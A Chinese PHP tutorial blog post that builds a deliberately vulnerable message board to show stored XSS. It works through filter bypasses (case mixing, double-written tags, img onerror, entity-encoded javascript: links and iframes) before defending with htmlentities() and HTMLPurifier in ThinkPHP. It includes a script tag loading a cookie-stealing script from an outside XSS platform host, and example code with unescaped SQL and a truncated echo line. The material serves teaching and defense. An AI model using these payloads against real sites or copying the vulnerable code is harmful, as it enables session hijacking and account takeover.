1. 猴子技术宅首页
  2. php干货教程

PHP和Thinkphp模拟留言板,应对XSS攻击(超完整!)分享


简介

XSS(Cross Site Scripting, 跨站脚本攻击), 在 Web攻击中比较常见的方式, 通过此攻击可以控制用户终端做一系列的恶意操作, 如 可以盗取, 篡改, 添加用户的数据或诱导到钓鱼网站等。

攻击原理

比较常见的方式是利用未做好过滤的参数传入一些脚本语言代码块通常是 JavaScript, PHP, Java, ASP, Flash, ActiveX等等, 直接传入到页面或直接存入数据库。通过用户浏览器阅读此数据时可以修改当前页面的一些信息或窃取会话和 Cookie等, 这样完成一次 XSS攻击。

例子

http://test.com/list?id=<script>alert('Javascript代码块')</script>  http://test.com/list?id=<strong οnclick='alert("惊喜不断")'>诱惑点击语句</strong>  http://test.com/list?id=<img src='./logo.jpg' οnclick='location.href="https://cyy.com/qq000";'/>

以上例子只是大概描述了方式, 在实际攻击时代码不会如此简单

 

使用xss平台,我用这段代码来测试

<script>alert(1)</script>

 

写入一段平台生成的xss脚本:

<sCrIpt srC=//xs.sb/Zalc></sCRipT>

当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。

你只需要登录xss平台等待即可,拿到cookie后,可以不需要密码登录他的账号。

 

对于存储型xss漏洞的表现形式,比较经典的是留言板。我们自己模拟一个留言板进行测试。

首先是前端展示的页面board.php

<!DOCTYPE html> <html> <head>     <meta charset="utf-8">     <title>留言板</title>     <script src="https://cdn.staticfile.org/jquery/3.5.1/jquery.js"></script>     <script type="text/javascript">         $(function(){             $("#sub").on("click", function(){                      var formData = new FormData();                 var nickname=$("input[name=nickname]").val();                 var content=$("textarea[name=content]").val();                 var email=$("input[name=email]").val();                 formData.append("nickname",nickname);                 formData.append("content",content);                 formData.append("email",email);                 if(nickname=="" || content=="" || email=="")                     alert("不能为空!");                 else{                     $.ajax({                         //async:false,//false为同步请求,当前请求未完成可能会锁死浏览器                         url:"add.php",                         type:"POST",                         processData:false,                         contentType:false,                         data:formData,                         dataType:"text",                         success:function(data){                             console.log(data);                             alert("success");                             location.reload(true);//刷新页面                         }                     });                 }             });         });     </script>     <style type="text/css">         .d{             margin-top: 2%;             margin-left: 5%;             margin-right: 5%;             background-color: rgb(218,244,205);         }         a{             text-decoration: none;         }     </style> </head> <body>     <?php          $con = @mysqli_connect('localhost','root','123456','test') or die('连接数据库失败');         mysqli_query('set names utf8');         $sql = "select * from message order by `floor` ASC";         $res = mysqli_query($con,$sql);         while($row = mysqli_fetch_array($res)){             echo '<div class="d">?>       <div class="d">         <form>             <input type="text" name="nickname" placeholder="留言者昵称"><br />             <input type="text" name="email" placeholder="留言者邮箱"><br />             <textarea name="content" rows="5" cols="50" placeholder="留言内容"></textarea><br />             <input type="button" name="button" id="sub" value="提交">         </form>     </div> </body> </html>

 

后端存储数据的页面add.php

<?php  //接收数据 $nickname = @$_POST['nickname']; $email = @$_POST['email']; $content = @$_POST['content']; $time = @time();  $con = @mysqli_connect('localhost','root','123456','test') or die('连接数据库失败'); mysqli_query('set names utf8'); $sql = "select max(floor) as max from message"; $res = mysqli_query($con,$sql); $floor = mysqli_fetch_array($res)['max']+1; $sql = "insert into message(floor,nickname,email,content,time) values($floor,'$nickname','$email','$content','$time')"; mysqli_query($con,$sql); mysqli_close($con);

 

可以看到,我们对传入的四个参数完全没有处理,而是直接存入数据库中。

所以,只要我们这样输入:

PHP和Thinkphp模拟留言板,应对XSS攻击(超完整!),

 

 

提交之后,系统会自动刷新页面出现弹框:1

点击确定后,你会发现留言内容和留言者的部分都为空。

PHP和Thinkphp模拟留言板,应对XSS攻击(超完整!),

 

 

这是因为js脚本已经被解析了,这时我们按F12,打开浏览器的开发者工具,发现了js脚本。

 

对关键字script进行过滤

作为开发者,你很容易发现,要想进行xss攻击,必须插入一段js脚本,而js脚本的特征是很明显的,脚本中包含script关键字,那么我们只需要进行script过滤即可。

$nickname = str_replace("script", "", @$_POST['nickname']);//昵称

上面这个str_replace()函数的意思是把script替换为空。

可以看到,script被替换为空,弹框失败。

那么黑客该如何继续进行攻击呢?

答案是:大小写绕过

<sCrIPt>alert(1)</ScripT>

因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。

成功弹框!

 

使用str_ireplace()函数进行不区分大小写地过滤script关键字

作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。

后端代码修正如下:

$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称

那么,黑客该如何绕过?

答案是:双写script

<Sscriptcript>alert(1)</Sscriptcript>

原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。

 

使用preg_replace()函数进行正则表达式过滤script关键字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称

攻击者如何再一次绕过?

答案是:用img标签的oneerror属性

<img src=x onerror=alert(1)>

 

过滤alert关键字

看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

那么,攻击者该怎么办呢?

答案是:编码绕过

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;  &#49;&#41;>a</a>

当点击页面上的超链接时,会弹框。

这种编码方式为字符编码

字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”可以编码为“&#106;”或“&#x6a; ”

上述代码解码之后如下:

<a href=javascript:alert(1)>a</a>

能不能让所有进入这个页面的人都弹框?

当然可以了:用iframe标签编码

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;  &#41;>

这种写法,同样既没有script关键字,又没有alert关键字。

 

过滤特殊字符

php给我们提供了htmlentities()函数:

$nickname = htmlentities(@$_POST['nickname']);//昵称

htmlentities()函数的作用是把字符转换为 HTML 实体。

黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)

 

总结

站在开发者角度来讲,用一个htmlentities()函数基本可以做到防御

 

PHP 基于ThinkPHP,利用第三方插件htmlpurifier 防XSS跨站脚本攻击。可以只过滤指定标签(过滤富文本编辑器中指定标签)

去github上找到ezyang/htmlpurifier,推荐使用composer安装

$ composer require ezyang/htmlpurifier

可是我在安装的时候,一直报错

PHP和Thinkphp模拟留言板,应对XSS攻击(超完整!),

 

 

 

还没找到解决方案,就先用标准安装方式了,下载好文件压缩包

解压得到主要文件目录library,重命名为htmlpurifier,复制到thinkphp项目的Vendor目录中

PHP和Thinkphp模拟留言板,应对XSS攻击(超完整!),

 

 

 

PHP和Thinkphp模拟留言板,应对XSS攻击(超完整!),

 

 

 

在application/common.php公共函数目录中,添加如下代码:

//防止xss攻击的特殊方法 function fanXSS($string) {     require_once '../vendor/htmlpurifier/HTMLPurifier.auto.php'; //根据实际目录路径进行修改     // 生成配置对象     $cfg = HTMLPurifier_Config::createDefault();     // 以下就是配置:     $cfg->set('Core.Encoding', 'UTF-8');     // 设置允许使用的HTML标签     $cfg->set('HTML.Allowed', 'div,b,strong,i,em,a[href|title],ul,ol,li,br,span[style],img[width|height|alt|src]');     // 设置允许出现的CSS样式属性     $cfg->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,font-family,text-decoration,padding-left,color,background-color,text-align');     // 设置a标签上是否允许使用target="_blank"     $cfg->set('HTML.TargetBlank', TRUE);     // 使用配置生成过滤用的对象     $obj = new HTMLPurifier($cfg);     // 过滤字符串     return $obj->purify($string); }

 

HTMLPurifier的配置属性可以通过其网站查询到:—-想了解更多的php相关异常处理怎么解决关注<猴子技术宅>

本文来自网络收集,不代表猴子技术宅立场,如涉及侵权请点击右边联系管理员删除。

如若转载,请注明出处:https://www.ssfiction.com/archives/118932

发表评论

电子邮件地址不会被公开。 必填项已用*标注